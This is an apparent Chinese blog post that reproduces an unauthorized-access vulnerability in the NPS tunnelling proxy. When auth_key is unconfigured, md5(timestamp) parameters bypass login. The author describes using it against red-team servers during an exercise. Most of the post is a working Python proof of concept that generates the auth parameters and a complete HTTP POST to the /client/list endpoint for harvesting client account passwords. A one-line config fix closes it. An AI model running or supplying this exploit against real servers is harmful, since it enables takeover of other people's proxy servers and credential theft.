NPS未授权漏洞复现(护网反制红队老哥🐔)
最近做攻防演练发现了很多内网穿透的工具,其中最多的就是nps,红队老哥好像还挺喜欢这个的,真的是多,每天导出攻击IP,浅浅扫一下端口,基本都能发现这个nps。
一、漏洞描述
nps是一款轻量级、高性能、功能强大的内网穿透代理服务器。目前支持tcp、udp流量转发,可支持任何tcp、udp上层协议(访问内网网站、本地支付接口调试、ssh访问、远程桌面,内网dns解析等等),此外还支持内网http代理、内网socks5代理、p2p等,并带有功能强大的web管理端。
二、漏洞成因
其中auth_key 存在未授权访问漏洞,当 nps.conf 中的 auth_key 未配置时攻击者通过生成特定的请求包可以获取服务器后台权限。只需要在post内容中添加auth_key和timestamp两个参数,分别对应md5(timestamp)和timestamp即可。直接访问生成的url可以看到后台
三、漏洞复现
1、扫描到一个存在nps未授权漏洞的网站
2、poc(auth_key和timestamp的时效只有20s,所以需要不停的生成。并且需要手动添加到get请求和着post请求的参数中。下图为client列表接口。)
只需要在post内容中添加auth_key和timestamp两个参数,分别对应md5(timestamp)和timestamp即可。直接访问生成的url可以看到后台
`#encoding=utf-8
import time
import hashlib
now = time.time()
m = hashlib.md5()
m.update(str(int(now)).encode("utf8"))
auth_key = m.hexdigest()
print("Index/Index?auth_key=%s×tamp=%s" % (auth_key,int(now))`
使用poc未授权拿到红队老哥的nps
3、exp请求接口(auth_key和timestamp的时效只有20s,所以需要不停的生成。并且需要手动添加到get请求和着post请求的参数中。下图为client列表接口。)
POST /client/list HTTP/1.1
Host: vps:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: application/json, text/javascript, /; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 98
Origin: http://vps:port
Connection: close
Referer: http://vps:port/client/list
search=&order=asc&offset=0&limit=10&auth_key=805df7d1f7bf3b662939ca091174e6b4×tamp=1659948547
客户端账号密码
四、修复建议
vim /etc/nps/conf/nps.conf取消注释auth_key,添加auth_crypt_key注释。